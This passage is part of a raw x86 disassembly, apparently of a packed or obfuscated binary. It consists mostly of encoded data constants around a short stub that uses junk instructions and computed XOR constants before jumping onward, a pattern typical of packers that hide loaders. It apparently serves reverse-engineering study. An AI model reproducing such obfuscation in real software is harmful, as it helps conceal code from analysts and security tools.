65002C8Eh dd 847222D0h, 49A3F213h, 7EA18B5Eh, 0E568FEF6h, 3DC3DA03h dd 6197C929h, 928B642Fh, 11FF07F1h, 47A24717h, 2AB85F32h dd 0FB65181h, 8F172FAEh, 0EB8C55A2h, 0E34EBB01h, 6492439Ch dd 6C9B22C9h, 0C0792AD1h, 62D3C176h, 0AD439CE3h, 0B09339DAh dd 0CB756066h, 7671FB5h, 0CB000000h, 132h, 820AA800h, 9B44F48Ah dd 0A1E7D16Ch, 47A303C7h, 0DA680FE2h, 35C19157h, 0A9930E5Bh dd 0C5F37CA8h, 49EA832Ah, 6B52C8B4h, 3466439Ch, 3DE483B3h dd 0C46D03A4h, 0BD56FD98h, 0F325CCD3h, 0F344B960h, 0FDA4436Fh dd 5AC4976h, 918D9B54h, 4FF947B0h, 4EF58A1Dh, 1919871Eh dd 0FEA54070h, 4A7A7B65h, 32453DABh, 6B0A3AE4h, 0A22552E4h dd 0DB74CBD4h, 0C2A9362h, 81CB3C39h, 5D02913h, 0D71A2FA8h dd 0C1h, 8D850A3Bh, 0BC214EF7h, 74B8BA58h, 11FB9CE6h, 0C9372545h dd 0D649A3F2h, 5462E57Bh, 2D66F4BCh, 2558240Eh, 497C25B1h dd 8E7811B8h, 2C6DE233h, 250F69FCh, 0CDB74A7Ch, 7F0A62B4h dd 0B426318Bh, 0AEB411D4h, 2BEB1Ch, 0A4F0000h, 25318B7Fh dd 0A3F2C637h, 0E43E1149h, 0B34E7C25h, 254DC1C9h, 0F2168775h dd 8E6149A3h, 0D877A3A4h, 32E4F67Eh, 40h, 8B7F0AA8h, 0C5752531h dd 0A3F266D7h, 0DF7EAA49h, 44179F38h, 0F2A3145Ah, 55B049A3h dd 4CE916BFh, 0F257C8B6h, 0CFA249A3h, 7C2519E5h, 0C4CCB64Fh dd 65002C50h, 48A2250Bh, 14641094h, 99ABE2CCh, 0FFFF2D32h dd 93C36CFFh, 0CAB44DF4h, 69FC2CFEh, 142E50D3h, 0C8D060CEh dd 0E3EC5DEh, 0C2239482h, 9B6E49A3h, 7B765FAh, 0ED94315Eh dd 0C20F8054h, 875A49A3h, 0FAF27A9Dh, 0D7CC7664h, 0B48747A2h dd 0A6D67F0Dh, 0E5CF680Fh, 9CA7329Fh, 0B27C5F43h, 0B606A92Ch dd 816F1F1Fh, 439CAF10h, 0CF6E9A5Bh, 5FEE8F28h, 0B5A99332h dd 4Ah, 8A820A19h, 0A69444F4h, 49A3F235h, 59CAB880h, 0A449A3F2h dd 4630D1h, 47A3017Eh, 0BD40D6A9h, 4432DEFFh, 439C9CD3h dd 85E24B1Eh, 162F1946h, 9CB6DD4Ah, 19270A43h, 0B5FBFED7h dd 10CDC1Fh, 5B040000h, 4CE58C2Bh, 7C259662h, 0CBCCB64Fh dd 0B666FC9Bh, 0A3F257C8h, 0ECDAA249h, 49A3F27Bh, 6852F3C6h dd 0FC95C84Fh, 79ECE55h, 0EA9D960h, 0F222CB79h, 0FBA23565h dd 811AC162h, 0EF285197h, 0ACDC49A3h, 26008319h, 618269Fh dd 27A19700h, 95073DC5h, 0CDFDA4ABh, 62EA933Ah, 7B24D46Ah dd 0F21FAE49h, 35236953h, 7247A255h, 4563D4C2h, 0DBAE439Ch dd 436F7F1h, 913AD071h, 841DC45Fh, 42CA939Ah, 2C95305Ch dd 37A09340h, 0B046E785h, 945632C2h, 10A67941h, 51C2B060h dd 9C3D9246h dd 0ABDEDFC9h, 0A8DB841Ah, 1889770Dh, 633D9246h, 0F19FA690h dd 0DA811C48h, 23565741h, 7452BC92h, 71A0F07Fh, 289F0h dd 20B5E600h, 1DB8E48Bh, 18B3E188h, 14ADDC83h, 0CA5D87Fh dd 9C4DC77h, 0FFA63BD6h, 0F79E33D2h, 0F69D32C5h, 0CD9A2FC6h dd 0B100715Fh, 344B4396h, 7AF92C62h, 780EAF4Eh, 989CB6F5h dd 745ECCB6h, 0FF96C66Dh, 0A225F86Ah, 0E3BC479Ch, 1E412B4Bh dd 1A089E96h, 47A23C98h, 402A32B5h, 6752BF8Eh, 9B0837Dh dd 9C50D03Dh, 4CE51443h, 5AEB1EA5h, 3E0843B3h, 0AB7558FEh dd 0B661B025h, 0B22A1Fh, 2C8E0000h, 23D369FCh, 0A3F2C435h dd 523C0F49h, 0E67FB239h, 0EE4A733Fh, 0CEFE49A3h, 0EDE35442h dd 662E49A3h, 0A3ED0778h, 0DE7F5249h, 0D1FEA73Dh, 0AF48D34h dd 992C5C03h, 0C9C149F2h, 0CE574533h, 0CFA247A2h, 0F1E9713Ah dd 23C86D5Bh, 0B0834195h, 0A33E711Ah, 0B334670Eh, 0BB42E984h dd 0C150F18Ch, 0B44DF48Fh, 7CD3D13h, 635F07Eh, 19985h dd 30C5F600h, 2DC8F49Bh, 28C3F198h, 24BDEC93h, 1CB5E88Fh dd 19D4EC87h, 0FB64BE6h, 7AE43E2h, 6AD42D5h, 0DDAA3FD6h dd 0B010816Fh, 445B4396h, 0A0F92C72h, 6422783Ah, 760BAC56h dd 0E71A9FCFh, 0A618AD4Eh, 0CD82A225h, 315F9DC6h, 30995469h dd 0C7B1AC81h, 58FF96C6h, 7106A1D1h, 922820A8h, 0D34432E2h dd 1E49A31Dh, 111B614Bh, 3E47A1FAh, 0D35B73BBh, 7963DE3Bh dd 6D16AC7Fh, 65FEA540h, 9ACA737Bh, 8FBF66FBh, 0C4B262F8h dd 439CDB53h, 4265E0BDh, 0EB730A2Bh, 6C152E18h, 6856ECE4h dd 41915ED9h, 0F96A5820h, 443D8F4Dh, 84FAD071h, 0FEF07A7Ch dd 0E04ECFh, 0C3D0000h, 113DE479h, 0C3AE176h, 635DC71h dd 0FC2FD66Bh, 2139D469h, 0DA23366h, 79C3966h, 0FE932E60h dd 0FB902757h, 61D2C02Eh, 0AC4396B0h, 820AC395h, 0CF06F48Ah dd 664798D9h, 0B9134DCBh, 0BAED48B3h, 3EE58627h, 5BF087B7h dd 5BF184B4h, 701F86B2h, 74C5D61Eh, 10A950F1h, 241B8C7Ah dd 93664396h, 23C490A9h, 8A6FDD3Ah, 48F829F7h, 0B708E95Ah dd 0F861340Dh, 5A52CC5Ah, 0DBDCC6B5h, 0F3760CABh, 0F259CBEDh dd 2B321C5Dh, 6EDFCD7Dh, 0B90DB74Bh, 0F16250E6h, 3C0DB74Ah dd 4E7E7F69h, 4C7821B7h, 20AEC7B1h, 43E5039Dh, 917B4653h dd 21C86190h, 8D10C0B6h, 71C219A0h, 58C99DDDh, 0A30DB76Bh dd 0BD8BE6D0h, 2FC46393h, 27BD5888h, 6B188977h, 90630DB7h dd 30C8DA6h, 82000000h, 0FB2C7C5Eh, 0C3CC36Ah, 194BD279h dd 2350D77Eh, 295CE38Ah, 376AF198h, 4170F79Eh, 4C7A01A8h dd 57830AB1h, 506711B8h, 0BB53E089h, 97C20D2h, 3D8BC381h dd 0EB81305Fh, 12824DB0h, 10A9EB81h, 0D8012759h, 4E8835Bh dd 5C240487h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push esi push 12D03D75h pop esi push ebp mov ebp, 27CB6579h shr ebp, 3 or ebp, 36026F0Dh neg ebp sub ebp, 0B4277921h xor esi, ebp pop ebp mov edx, esi pop esi push 892h mov [esp], esp add dword ptr [esp], 4 pop ecx sub esp, 4 mov [esp], edx pop dword ptr [ecx+8] push dword ptr [esp] pop ecx add esp, 4 push dword ptr [esp] pop edx add esp, 4 jmp loc_544543 ; --------------------------------------------------------------------------- db 12h, 0EEh, 0F0h dd 0F4B8F6EFh, 3060D43h, 85C650C5h, 60709CDh, 17256847h dd 0B5FFCF38h, 607059Dh, 3963858Dh, 0D0FF0607h, 858DD88Bh dd 60723ADh, 1046850h, 0D3FF0000h, 9CD85C6h, 68530607h dd 8307F8BFh, 59DB5FFh, 858D0607h, 6073963h, 8589D0FFh dd 60D2826h, 3335BD83h, 0F000607h, 0B84h, 959D8B00h, 0E906072Fh dd 5, 0BBh, 1006800h, 0B58D0000h, 60D282Ah, 95FF5356h dd 6072B21h, 282AB58Dh, 0F003060Dh, 1E9h, 3E804E00h, 9840F5Ch dd 80000000h, 850F2F3Eh, 0FFFFFFEDh, 8D0006C6h, 0D282A85h dd 95FF5006h, 60D2826h, 0FDE0FF58h, 4625BCFAh, 0AA093C56h dd 0B774C2E1h, 63B9B40h, 655F4BF8h, 6F5A96EEh, 640C1F27h dd 0B15CEA42h, 720C2A54h, 0BD0C12DEh, 0F5693EF2h, 0FB1C7BA5h dd 7E40E003h, 1326FA34h, 336634E0h, 0E2446AA1h, 0EB12CC10h dd 0B61B9026h, 8EAFEC33h, 64746E55h, 642E6C6Ch, 88006C6Ch dd 34074621h, 0D4A3D25Dh, 64D6DFh, 0 dd 0E9000000h, 6BEh, 0D471368h, 37BDE906h, 0D968FFFAh dd 0E9060D47h, 0FFFA37B3h, 0D487568h, 37A9E906h, 3868FFFAh dd 0E9060D49h, 0FFFA379Fh, 0D4A2A68h, 3795E906h, 0FC68FFFAh dd 0E9060D4Ah, 0FFFA378Bh, 0CE630233h, 0C75CFB27h, 0C257F220h dd 0BC51EC1Bh, 0BA4FE215h, 194C071Fh, 1F4CF388h, 184AF186h dd 1141E87Dh, 0A614E176h, 96AD47B8h, 0A97B9243h, 2D32h dd 0FC2CA800h, 0FC2AD369h, 0B821BA61h, 84C49A64h, 0C9E2CCA6h dd 55851242h, 0E1821BC2h, 0D3F3604Ch, 53749A3h, 333DC72h dd 3A24BD64h, 820AC133h, 0F236A795h, 0AE8149A3h, 0AC53F21Fh dd 0EEDC7213h, 47A2FE40h, 0F9A2380Bh, 0F18A31CCh, 0B522EE07h dd 0E2439CDDh, 26AF31FFh, 0B41FB5D5h, 243h, 9F0633DCh dd 8F13AD33h, 37DE7F3Eh, 25E8B49Eh, 0CFB94C7Ch, 159D23E0h dd 2ED7871Dh, 347A6401h, 47A2F98Ah, 1E8F7D45h, 69439CE9h dd 35DC75A8h, 0D35AFB9Ch, 0B24209C7h, 0B038B7Fh, 79ACC75h dd 7927151Dh, 447D6D4Dh, 432DB71h, 3F29C269h, 0C1EF9826h dd 91193C26h, 0A0150399h, 0BB77615Dh, 79A952E8h, 97C548DEh dd 0A7EDF7B6h, 8A383F29h, 2913AEE1h, 416FF828h, 472F05A6h dd 0C32A2969h, 4C01394h, 0E8190000h, 0E511B84Dh, 0E00EB54Ah dd 0DA09B045h, 0D003AA3Fh, 0ED05A035h, 0D166FF32h, 0CB60FD2Ah dd 0CA5FF224h, 0BF54F323h, 259684F2h, 704396ABh, 0FC2C8759h dd 3523D369h, 49A3F2C4h, 39523C0Fh, 9F480890h, 38D30109h dd 9F3377CFh, 147A68FEh, 4F47A22Ch, 9039E77Ch, 0F1E0CA63h dd 2E26AE12h, 2300AA98h, 20BB419Bh, 0E55A33F2h, 0A3C02979h dd 231A2353h, 0D0DC6304h, 0D519CBFCh, 0D46A62EAh, 0C44D7B24h dd 0BC55FC95h, 0F1DB741Bh, 0F6A6FDABh, 4EF5C8A2h, 4371DA5h dd 8A3AD071h, 2E18B3E1h, 0EAB673E8h, 0D5F38E9Ch, 441DC1A5h dd 650EA445h, 660DA235h, 0FB84B136h, 0EC8D2EC9h, 0D3755416h dd 0B637664Ch, 3FAh, 0EE832253h, 0E77C1B47h, 0E2771240h dd 0DC710C3Bh, 0DA6F0235h, 396C273Fh, 3F6C13A8h, 386A11A6h dd 3161089Dh, 0C6340196h, 96AB67D8h, 0C99BB243h, 0C269FC2Ch dd 3999119h, 0A3033315h, 0F68B5E47h, 17ADA52Dh, 58C9B767h dd 0A3439CD3h, 0CDA0E6D0h, 0E441920Dh, 90345449h, 831CC35Eh dd 0D3EE5B1Ah, 0C3F39C32h, 38E18F24h, 8788720Bh, 8B19C057h dd 1EE52E08h, 85B7F679h, 11B24BF2h, 967C0427h, 1242D164h dd 9233CC73h, 0A0440EFCh, 2CFF3B8Eh, 75A78A56h, 800130EEh dd 35Eh, 5AEF86B7h, 53E887B3h, 4EE37EACh, 48DD78A7h, 3ED36EA1h dd 9DD08BA3h, 9BC86F04h, 94C66D02h, 95C56C01h, 32A06D02h dd 96AAD344h, 35071E43h, 0C269FC2Ch, 3999119h, 0B8C47E80h dd 0AD46ED88h, 874A0744h, 7A68F9E6h, 8F791A52h, 223B9987h dd 936647A2h, 1B55DFEh, 3ED30000h, 0F4EC74CAh, 0F8C6705Eh dd 0AE8147A2h, 91EE1B27h, 890B0C0h, 0B68C7A10h, 0C34C5EF3h dd 0E3B42513h, 0C6F84858h, 63EB842Bh, 0D9ACA690h, 41018932h dd 80D95B71h, 7B11B255h, 5253188Dh, 0CA603346h, 6E58F321h dd 1806B666h, 424DB2A7h, 64FF31F2h, 998324BDh, 38CD6898h dd 0F0C66191h, 0FB38B41Ah, 9BF071A0h, 0F4000002h, 0F69D32C3h dd 0EF962BCAh, 0EA9126C1h, 0E68D22BBh, 0F28D22B3h, 59EC1FDAh dd 55F01DC4h, 4CE719C0h, 45E010B7h, 8775E3B0h, 4396A916h dd 2C784A61h, 50D369FCh, 76AAC02h, 849D871Fh, 841F4DF6h dd 9C8F00EEh, 7DA49A3h, 7A72FA1Dh, 7F90F6E4h, 0F8CB47A2h dd 0A339CE63h, 0DD8D231Bh, 0AE893A5Ah, 0CEB8FE90h, 9B78DE88h dd 30C69941h, 15BC5B87h, 0CB99927Ch, 0AC53F222h, 13E32913h dd 0B1C2F610h, 189B3129h, 96A397C3h, 0D26B9A88h, 7F1922Bh dd 79A64FFFh, 0B29C35DCh, 0B1FC966Ch, 37DEB1ACh, 780E068Eh dd 416845C8h, 72331EEAh, 0DACD4288h, 2ADAA6A5h, 0A13ACB3Ch dd 604E16A2h, 0A2A139EFh, 0DCC6673Ah, 0C9790FE2h, 3ABA2B19h dd 3205A2A1h, 0A139ED5Eh, 477738A2h, 0CF7009B0h, 434DDE5h dd 535DC71h, 4C309C72h, 0D3025B6Ch, 1A952h, 34D10200h dd 31CCF89Fh, 2CC7F59Ch, 28C1F097h, 28B9EC93h, 25E0F893h dd 23CA5FF2h, 1BC257F6h, 12B94EE9h, 0E1AE43E2h, 0A8148573h dd 485F4396h, 69FC2C76h, 6DFA2AD3h, 65FEA540h, 6B0635C4h dd 28412BC4h, 0E211F77Fh, 6607A047h, 300E2D0h, 741D47A3h dd 0CCC6B041h, 25F264F9h, 12B94C7Ch, 22BBEA79h, 0D5F8E27Bh dd 3CBF554Dh, 0EDA0DE40h, 434B3594h, 984D4455h, 26BC8F47h dd 25BA4D7Dh, 10B74E7Eh, 51E7DF67h, 35DC75A8h, 0BCAAB29Ch dd 418B07E1h, 0F69F3508h, 0F39A2FC6h, 0B8E24C3h, 551D4829h dd 0BAD3BD43h, 0FB918911h, 0D875A24Bh, 0DE77AA31h, 13FD9E37h dd 87341FCDh, 633DC3Bh, 0FAAD867h, 82582B25h, 0EE4C4B40h dd 0D772F322h, 30000000h, 2AD166FFh, 23CA5FFEh, 1EC55AF5h dd 1AC156EFh, 1EB94EE7h, 7D184B06h, 791441E8h, 780B3DE4h dd 790C3CE3h, 0BBA917E4h, 4396A84Ah, 0AAC7E95h, 6F48A82h dd 47992CFDh, 37BE6538h, 0B8558207h, 41D77811h, 0B94E55BEh dd 331D9BF5h, 0D455852Ch, 0CF680FA2h, 50F9872Eh, 36A79523h dd 81439669h, 0DD230DAEh, 24E0F674h, 3BE27BA8h, 46ED88B4h dd 0F721EF82h, 0C18D2EC9h, 7F2FE02Eh, 0BAD62091h, 0AE986BE0h dd 55EA7DADh, 0C7F97EAEh, 5DE48B2Ch, 3FB09E2Eh, 8AE0BAD6h dd 0E86F16B7h, 0F27920B9h, 0D18229C4h, 9B0E0E18h, 0AA53C452h dd 87F8E67Ah, 0D2E0BAD6h, 73745EFFh, 680FA443h, 5E079D38h dd 94AD972Eh, 0D13h, 71A44D00h, 892AC3F2h, 935F49E2h, 0FB2C7C5Eh dd 0C3CC36Ah, 194BD279h, 2350D77Eh, 295CE38Ah, 376AF198h dd 4170F79Eh, 4C7A01A8h, 57830AB1h, 686711B8h, 4A27h, 50241C89h dd 405E089h, 2D000000h, 4, 5C240487h, 57243489h, 0C781E789h dd 4, 8704EF83h, 895C243Ch, 0B951240Ch, 60D45F9h, 0C8BCE89h dd 4C48324h, 240C8B54h, 5604C483h, 5FBBB53h, 5C295A7Ch dd 8F5B0424h, 41810841h, 7C05FB08h, 2434FF5Ah, 4C48359h dd 5024348Bh, 405E089h, 83000000h, 48704C0h, 14E95C24h dd 33FFFA31h, 97D6F9D4h, 0D61584AEh, 0F8B8875Bh, 3060D4Bh dd 0C9E0FFC5h, 212B529Eh, 5545CAD5h, 8A02E6A9h, 70738992h dd 597995E7h, 44221CD0h, 273675E0h, 893282A2h, 2C2716C7h dd 0CC2B9118h, 0C76C81F1h, 435DB4DAh, 0F914836Dh, 9B7EEFDBh dd 89075E1Fh, 1853E9A3h, 0C68242Ch, 0BE7DFC8Dh, 154EEC63h dd 886EC2A6h, 0E86D1ED0h, 12h, 3F65967Fh, 49A6F1E9h, 553F41C4h dd 495006B8h, 8B66FBDEh, 0C3815BD3h, 6369h, 0A977F6B9h dd 4BE98117h, 5117A95Fh, 60038B5Eh, 0F6E88166h, 0C08161C7h dd 3BCC74CDh, 81F9BF0Fh, 35D151C0h, 815E504Fh, 3CD05CF0h dd 6E9507Dh, 3F000000h, 5C2CB905h, 0F038F13h, 0E85h, 9E900h dd 8B750000h, 41893242h, 83CD950Ah, 0BE801EBh, 0EA000000h dd 0F9EC0A6Eh, 7C6157FEh, 0DE806045h, 4B4B5E02h, 71DA804Bh dd 20850F49h, 60000000h, 0F8F6E9B9h, 26E96144h, 56000000h dd 12C9BD1Eh, 0FF9BD78Ah, 7D4C7475h, 0E4FCB186h, 667D5A5Eh dd 0EDE9DA81h, 0FFFF70E9h, 0BF2DF4FFh, 8BD511BFh, 8EBE2h dd 0B2000000h, 0E9255AF9h, 47Ch, 0D4E9868h, 2FCDE906h dd 1568FFFAh, 0E9060D4Fh, 0FFFA2FC3h, 0D50A068h, 2FB9E906h dd 3061FFFAh, 2D590095h, 2856FD92h, 2251F88Dh, 184BF287h dd 354DE87Dh, 19AE477Ah, 13A84572h, 12A73A6Ch, 79C3B6Bh dd 6DDECC3Ah, 0B84396A5h, 0F92CCFA1h, 0A3AC168h, 0FE2CD56Bh dd 0A9727963h, 0A5932921h, 47A2F76Fh, 0C490370Ah, 439CE657h dd 26CD689Bh, 33DA6D9Fh, 7EBE88C3h, 0F62BF5D8h, 6C530A73h dd 0F2DC2A34h, 0B5DB3C99h, 2E79E1Fh, 3E020000h, 0FEF67EC0h dd 0F8D07A68h, 0B88B47A2h, 2EF2531h, 0F97CB87Ah, 2346DA64h dd 5E816BD3h, 9848DED6h, 9DAFAD15h, 0F8E25B38h, 361AD8B2h dd 7920F344h, 7A1342EBh, 2D503AD3h, 0F392BFA5h, 7C12B34Ch dd 2F11428Eh, 0A036093Eh, 9B30C7F7h, 5B31C4F4h, 0F315EEABh dd 0EA57D807h, 94000002h, 963DD263h, 8F36CB6Ah, 8A31C661h dd 862DC25Bh, 922DC253h, 0F98CBF7Ah, 0F590BD64h, 0EC87B960h dd 0E580B057h, 27158350h, 4396A4B6h, 0A18EA01h, 6F48A82h dd 479934F9h, 0AF55B336h, 5C6932C1h, 0FA57872h, 0E777878Ch dd 7E685E2Eh, 0EA1DC676h, 2D17B057h, 0D368F92Ch, 0C168F92Ch dd 0FCDC3DF5h, 1243C6B9h, 861F4E32h, 0C930611Dh, 17AEDEDFh dd 63584F41h, 0B8CBBFAh, 26Dh, 0BA4FE617h, 0B348E713h dd 0AE43DE0Ch, 0A83DD807h, 9E33CE01h, 0FD30EB03h, 0FB28CF64h dd 0F426CD62h, 0F525CC61h, 9200CD62h, 96A333A4h, 95677E43h dd 0FAD3A225h, 87D2D773h, 0FAF27A9Dh, 88697664h, 0F3B44798h dd 0E67F26C1h, 65D29E45h, 924395F8h, 0B061AFh, 95F8A112h dd 2F19EC43h, 0BCB5FFD6h, 1A7DD1Fh, 2C410000h, 23D369FCh dd 8BB4CBA0h, 360AA744h, 49A316C5h, 3A533D10h, 4FE483B3h dd 7006FE86h, 4DE817C0h, 2C731D63h, 772047A2h, 6D06AD48h dd 0FB68983h, 72E3D181h, 0BD439BFBh, 4DBA00EAh, 7A439BFBh dd 0E49067EAh, 52E42636h, 0BD030D68h, 1FB61918h, 40D305AEh dd 22160099h, 47h, 0C2820A86h, 0D4EF1E67h, 0C7F3825Dh dd 41F18728h, 4B32A391h, 0AA7D49A3h, 59F87AC0h, 882347A2h dd 0C05BE5EBh, 0A64DEE33h, 9C606DDAh, 69B79A43h, 0E8135B8h dd 3D8F03F1h, 0E9D3740Fh, 0B6864590h, 0CF971Fh, 2CFB0000h dd 3BC269FCh, 54D76D08h, 3020B2B0h, 0DDF6E03Eh, 72A12656h dd 88F36D7h, 0BCA83DD8h, 49A34825h, 5DF285B5h, 0A011FFAFh dd 0A49A347h, 927C230Ch, 7F52DAD4h, 0F2EA7295h, 0ADE46E5Ch dd 4C1F479Bh, 685606B6h, 43999CF7h, 84856F42h, 7D2BC051h dd 9D6EDFCDh, 0E6B94399h, 327837Dh, 0EFD9AC85h, 0E3CBBEEh dd 503ECC73h, 4399DCDFh, 27B6572Ah, 0E6BC5DF8h, 0FA64EA0Ah dd 0E20081B0h, 8C000000h, 8E35CA5Bh, 872EC362h, 8229BE59h dd 7E25BA53h, 8A25BA4Bh, 0F184B772h, 0ED88B55Ch, 0E47FB158h dd 0DD78A84Fh, 1F0D7B48h, 4396A2AEh, 2C10E2F9h, 25D368F9h dd 0FB64F7Ch, 0E43784AEh, 0A74830D0h, 318CBCBDh, 0AA568EF4h dd 0B045E68Fh, 69FC2C3Eh, 0E7B134C2h, 8F0F4F65h, 1C4C4D37h dd 0A32BF489h, 532715ABh, 6A47A241h, 25580197h, 9E0BF78Ch dd 0E2439BB1h, 0D77E13B2h, 0E96A11A4h, 61h, 8A820A5Fh dd 34F506F4h, 7F404799h, 7912B94Ch, 7AAA31D8h, 6F9F46DBh dd 0E46531D8h, 0CB666509h, 1040EE38h, 939E075h, 1140C76Eh dd 0A3CF588Ah, 23C45D04h, 0D9CD6DBAh, 46E77CA7h, 8E3E349Fh dd 3F6A2FA0h, 0BDA77A20h, 3A6AD462h, 2F5F069Bh, 0A70F198h dd 0E6000000h, 0B64F7C25h, 0BD8C760Fh, 6AFB2CDBh, 790C3CC3h dd 7E194BD2h, 8A2350D7h, 98295CE3h, 9E376AF1h, 0A84170F7h dd 0B14C7A01h, 0B857830Ah, 89506711h, 405E0h, 0E8830000h dd 24043304h, 33240431h, 815C2404h, 4ECh, 242C8900h, 71F568h dd 240C8900h, 0D4DCB68h, 7A685D06h, 8900003Ah, 4812424h dd 424h, 0FF685900h, 89000065h, 2C81242Ch, 0C3318924h dd 8418F70h, 89084181h, 0FF70C331h, 81592434h, 4C4h, 242C8B00h dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 0FA2B66E9h, 0E402BAFFh dd 3729F714h, 0C16E83EEh, 0D51A7B8h, 0FFC50306h, 0B45904E0h dd 0F5D41118h, 0D460AC5Dh, 9DFA4712h, 439B356Eh, 6D5BE303h dd 0DBE3E15Ch, 7DDEE244h, 623DA201h, 1161BE32h, 74E05338h dd 0BE3A6851h, 0CC76072Fh, 71F61800h, 9DAB2A2Bh, 9C2D5A74h dd 0D326212Fh, 0CBFC006Ch, 0AAA49D49h, 93AE5E18h, 0F142D136h dd 5E854h, 0F2CF0000h, 0F19EC2Ah, 1480h, 0FE900h, 21080000h dd 3B795266h, 7742EE94h, 143C73C6h, 816658EFh, 81E988DFh dd 6E69C0h, 0E38A6000h, 0BE9h, 12EE6400h, 4B5C0429h, 0F0DB92C3h dd 6861h, 8E90000h, 8C000000h, 0CEBE5755h, 5E55CF79h, 30148BFCh dd 10E9h, 9B5DBF00h, 0C49C56EDh, 1F24A56Ah, 2792972Ah dd 56EA81F7h, 0E929EC79h, 10h, 0F6E08E8Fh, 24752FEBh, 2E63DAEFh dd 74422DC9h, 502BF281h, 0F28171EFh, 663B4A90h, 0EE952F8h dd 0F1000000h, 1458D0E6h, 0F4E4E2DBh, 0B901716Ch, 30048FE0h dd 3820Fh, 0B70F0000h, 19850FDEh, 0E8000000h, 0Dh, 0FA3E268h dd 0E5D74489h, 19B88E57h, 850FDBh, 5F000000h, 8B04EE83h dd 90FE81FEh, 0FFFFF92h, 0C85h, 0E929B700h, 13h, 0AB19A824h dd 0FF5FE943h, 0DFE7FFFFh, 5BD3C0BDh, 8DCD5562h, 0D545C8Dh dd 0EEC68106h, 8974A815h, 71AD98Dh, 6890F06h, 29000000h dd 713E985h, 1D85C706h, 0F4060710h, 6A000058h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 65B2C350h, 49155953h, 38F0F69h, 0F000000h, 85C7DBB7h dd 6073305h, 0 dd 0B830Fh, 6E90000h, 16000000h, 1D28AAC1h, 0E9B5FFE5h dd 6A06070Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 0BBDEC356h, 80AD1DE0h, 0F38162F8h dd 66E19C3h, 95FFDE8Ah, 6071859h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0A6C35040h, 0D71C02Bh, 0BE716B6Eh dd 51E967Dh, 95FF006Ah, 6070D69h, 5EEBC08Bh, 30EB0133h dd 0EF95BCE9h, 0E27FE905h, 0D4D36B60h, 2D8A9059h, 993A3745h dd 346AED67h, 1DB4AC10h, 0E20F9619h, 0DF9E0A10h, 72709DEAh dd 9433ED66h, 4B423A86h, 0CCF9BAB9h, 8A155062h, 19D1BE30h dd 67FCFA12h, 0B614C5D6h, 0CC96C448h, 0FCB21931h, 7D6A2CFFh dd 96771284h, 0C549D92Dh, 8D8DF19Dh, 60D5571h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0E1C35242h, 0D518B8D7h dd 1AD98D89h, 0F08B0607h, 10919533h, 85C70607h, 607101Dh dd 6A50h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 22C35343h, 0F1116333h, 330585C7h, 607h, 800F0000h dd 6, 2C818D29h, 0B5FF0607h, 6072639h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0C4C35141h, 0F2E313Bh, 30005E6Ah dd 5995FF94h, 89060718h, 70F05BDh, 0FF006A06h, 70D6995h dd 0EBC08B06h, 0C496EC4Ch, 0E53BD8D4h, 96550573h, 0DD41733h dd 0B1DDE93h, 0CEB65265h, 0B834B2C1h, 7CCEC4Fh, 0FDFA98Ch dd 0D2FA7095h, 5009B593h, 6FA035F2h, 9C3BC1E9h, 0A76E317Bh dd 3EA4D530h, 5BE87E2Eh, 0F19B81A1h, 0E9E007C0h, 5D8A204Ch dd 3EE853F8h, 32565DB1h, 1EEACF2h, 325655F2h, 3256ABB1h dd 0B42AD5B1h, 9BB8EAE8h, 325675EBh, 3256BAB1h, 32565DB1h dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h dd 325675B1h, 3256BAB1h, 32545DB1h, 3581AEB1h, 325457B6h dd 3246ABA9h, 324FD5B9h, 3256E84Dh, 325677F6h, 32EEB8F6h dd 0DB565DB1h, 3256AEB6h, 7C1F07A2h, 0DB53D7DEh, 3256D5A1h dd 55706BD9h, 31E4C8A5h, 6DA80331h, 495C281Dh, 6206CF2Ch dd 3251BEE3h, 82A5ABB1h, 0EE197B98h, 6267E554h, 3D0425E3h dd 3D0EE080h, 325EB480h, 0ABB6AEB1h, 675A68EFh, 6A0CF0DBh dd 32C08DEBh, 6B7EB1h, 4C6F7532h, 0B8A3966Eh, 6837C04Ah dd 52353DE9h, 0BEE989A8h, 16122264h, 32503CB5h, 85E0EAB1h dd 6114F895h, 0D621CCE9h, 62455FFCh, 4E39E0F8h, 68DD0DB4h dd 0DA373DE9h, 3256D5BDh, 0C134C7F5h, 7DF85C01h, 59EC5F6Dh dd 6BAFD6D7h, 0DB5625D0h, 325657B4h, 3E69F528h, 16125CE4h dd 0F9DC8AB5h, 0EA157C09h, 6A0EDBF8h, 32DD05EBh, 3256BD58h dd 87BAC8B1h, 38E10FBh, 5FD242A7h, 5BA6D913h, 174AFA5Fh dd 3672FE38h, 0E4E952D1h, 6A375A3Bh, 60E0FEBh, 92F579ECh dd 0FEA9CBE8h, 684DC0A4h, 32562DE9h, 3256BAB1h, 32565DB1h dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h dd 